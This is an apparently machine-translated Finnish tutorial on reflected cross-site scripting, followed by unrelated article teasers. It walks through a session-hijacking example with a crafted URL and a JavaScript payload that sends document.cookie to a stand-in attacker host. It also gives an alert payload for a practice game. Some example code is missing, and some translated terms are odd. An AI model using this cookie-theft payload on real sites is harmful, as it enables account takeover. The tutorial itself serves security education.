Web7: XSS Exploits – Osa 1: Reflected XSS

Web7: XSS Exploits – Osa 1: Reflected XSS

Mitä on Cross-Site Scripting?

Cross-Site Scripting (XSS) on yksi tämän hetken suosituimmista hyökkäystekniikoista, joka tunnetaan nimellä Attack Godfather, ja se on useiden vuosien ajan listattu sovellusten vaarallisimpana hyökkäystekniikana.

Älä kutsu sitä lyhyesti CSS:ksi välttääksesi sekaannukset HTML:n Cascading Style Sheet -konseptin kanssa. XSS-
tekniikka

Ymmärtääksemme paremmin, tarkastellaan seuraavaa esimerkkiä. Verkkosovellus, joka sallii URL-osoitteen kautta välittämämme arvon tulostamisen olettaen, että välitämme nimimuuttujaan Ping-arvon:

Web7: XSS Exploits – Osa 1: Reflected XSS

Kaikki on toistaiseksi hyvin, katsotaanpa html-lähdekoodia:

Web7: XSS Exploits – Osa 1: Reflected XSS

On helppo nähdä, että antamamme nimen arvo on lisätty lähdekoodiin. Joten on mahdollista, että kaikki tuotu voidaan myös lisätä. Ongelma muuttuu vakavaksi, jos syötetty arvo ei ole normaali merkkijono, kuten yllä, vaan mahdollisesti vaarallinen koodinpätkä, jotain tällaista:

 

Yritä uudelleen yllä olevalla arvolla:

Web7: XSS Exploits – Osa 1: Reflected XSS

Tästä esimerkistä voimme päätellä kaksi asiaa. Ensinnäkin nimimuuttuja voi vastaanottaa minkä tahansa syötearvon ja lähettää sen palvelimelle käsittelyä varten. Toiseksi palvelin ei ohjannut tätä syöttöarvoa ennen sen palauttamista selaimeen. Tämä johtaa siihen, että javascript-koodi lisätään lähdekoodiin.

XSS on yleensä jaettu kolmeen päätyyppiin: heijastettu, tallennettu ja DOM-pohjainen. Tässä artikkelissa mainitsen pääasiassa Reflected XSS -tekniikan.

Jopa 75 % XSS-tekniikoista perustuu Reflected XSS:ään. Sitä kutsutaan heijastukseksi, koska tämän tyyppisessä hyväksikäyttöskenaariossa hakkerin on lähetettävä uhrille haitallista koodia sisältävä URL-osoite (yleensä javascript). Uhrin tarvitsee vain pyytää tätä URL-osoitetta, ja hakkeri saa välittömästi vastauksen, joka sisältää halutun tuloksen (heijastus näkyy tässä). Lisäksi se tunnetaan myös ensimmäisen asteen XSS:nä.

Tosielämän kaivosskenaario

Reflected XSS -virhettä voidaan hyödyntää monella tapaa, yksi tunnetuimmista tavoista on ottaa haltuunsa käyttäjän istunto ja siten päästä käsiksi tietoihin ja hankkia heidän oikeuksiaan verkkosivustolla.

Yksityiskohdat kuvataan seuraavissa vaiheissa:

Web7: XSS Exploits – Osa 1: Reflected XSS

1. Käyttäjä kirjautuu verkkoon ja olettaa, että istunto on määritetty:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Jotenkin hakkeri lähettää käyttäjälle URL-osoitteen:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Oletetaan, että esimerkki.com on sivusto, jolla uhri vierailee, ja hacker-site.net on hakkerin luoma sivusto

3. Uhri käyttää yllä olevaa URL-osoitetta

4. Palvelin vastaa uhrille ja toimittaa pyynnön sisältämät tiedot (hakkerin javascript-koodinpätkä)

5. Uhrin selain vastaanottaa vastauksen ja suorittaa javascriptin

6. Varsinainen javascript, jonka hakkeri loi, on seuraava:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Yllä oleva komentorivi tekee käytännössä pyynnön hakkerin sivustolle parametrin ollessa käyttäjän eväste:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Sivustoltasi hakkeri nappaa yllä olevan pyynnön sisällön ja katsoo, että käyttäjän istunto on otettu haltuun. Tässä vaiheessa hakkeri voi esiintyä uhrina ja käyttää kaikkia uhrin oikeuksia verkkosivustolla.

Harjoitella

Google on luonut sivun harjoitellakseen XSS-virheiden hyödyntämistä täällä: https://xss-game.appspot.com

Näiden haasteiden tavoitteena on, että sinun on lisättävä komentosarjat ponnahdusikkunan avaamiseksi. Ensimmäinen haaste on havainnollistaa reflektoitua tekniikkaa, hyväksikäyttökoodi on melko yksinkertainen:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Onnea!


Vihreät taustakuvat, kauniit vihreät taustakuvat tietokoneisiin ja puhelimiin

Vihreät taustakuvat, kauniit vihreät taustakuvat tietokoneisiin ja puhelimiin

Vihreä on myös teema, jota monet valokuvaajat ja suunnittelijat käyttävät luodessaan taustakuvasarjoja, joiden päävärisävy on vihreä. Alla on joukko vihreitä taustakuvia tietokoneille ja puhelimille.

Kuinka etsiä ja avata tiedostoja komentokehotteen avulla

Kuinka etsiä ja avata tiedostoja komentokehotteen avulla

Tämän menetelmän tiedostojen etsimiseen ja avaamiseen sanotaan olevan nopeampi kuin File Explorerin käyttäminen.

Mikä on Scareware? Kuinka poistaa Scareware?

Mikä on Scareware? Kuinka poistaa Scareware?

Scareware on haitallinen tietokoneohjelma, joka on suunniteltu huijaamaan käyttäjiä ajattelemaan, että se on laillinen sovellus, ja pyytää sinua käyttämään rahaa sellaiseen, joka ei tee mitään.

Kuinka lisätä Internet-yhteyden nopeutta cFosSpeedillä

Kuinka lisätä Internet-yhteyden nopeutta cFosSpeedillä

cFosSpeed ​​​​on ohjelmisto, joka lisää Internet-yhteyden nopeutta, vähentää lähetysviivettä ja lisää yhteyden voimakkuutta jopa noin 3 kertaa. Erityisesti niille, jotka pelaavat online-pelejä, cFosSpeed ​​tukee, jotta voit kokea pelin ilman verkkoongelmia.

Lisätietoja palomuureista ja Windows Server 2012:n Windowsin palomuurista

Lisätietoja palomuureista ja Windows Server 2012:n Windowsin palomuurista

Windowsin palomuuri lisäsuojauksella on palomuuri, joka toimii Windows Server 2012:ssa ja on oletuksena käytössä. Windows Server 2012:n palomuuriasetuksia hallitaan Windowsin palomuurin Microsoft Management Consolessa.

Kuinka vaihtaa Vigor Draytek -modeemin ja reitittimen kirjautumissalasana

Kuinka vaihtaa Vigor Draytek -modeemin ja reitittimen kirjautumissalasana

Kun vaihdat Vigor Draytek -modeemin ja reitittimen sisäänkirjautumisen järjestelmänvalvojan sivun salasanan, käyttäjät rajoittavat luvatonta pääsyä modeemin salasanan vaihtamiseen ja suojaavat tärkeitä verkkotietoja.

Kuinka ylikellottaa RAM-muistia helposti AMD Ryzen Masterilla

Kuinka ylikellottaa RAM-muistia helposti AMD Ryzen Masterilla

Onneksi AMD Ryzen -suorittimia käyttävien Windows-tietokoneiden käyttäjät voivat käyttää Ryzen Masteria RAM-muistin ylikellotukseen ilman kosketusta BIOSiin.

7 tapaa korjata Windowsin kannettavan tietokoneen virheet, jotka eivät lataudu USB-C:n kautta

7 tapaa korjata Windowsin kannettavan tietokoneen virheet, jotka eivät lataudu USB-C:n kautta

USB-C-portista on tullut standardi tiedonsiirrolle, videolähdölle ja lataukselle nykyaikaisissa Windows-kannettavissa. Vaikka tämä on kätevää, se voi olla turhauttavaa, kun liität kannettavan tietokoneen USB-C-laturiin, mutta se ei lataudu.

Kuinka korjata Palvelua ei voi luoda -virhe Ultraviewerissa

Kuinka korjata Palvelua ei voi luoda -virhe Ultraviewerissa

Ei voi luoda palvelua -virhe Ultraviewerissa ilmenee, kun asennamme ohjelmiston, jonka virhekoodi on 1072.

Kuinka korjata virhe, kun henkilötunnusta ei näytetä Ultraviewerissa

Kuinka korjata virhe, kun henkilötunnusta ei näytetä Ultraviewerissa

Virhe, jossa tunnistetta ei näytetä Ultraviewerissa, vaikuttaa etätietokoneeseen.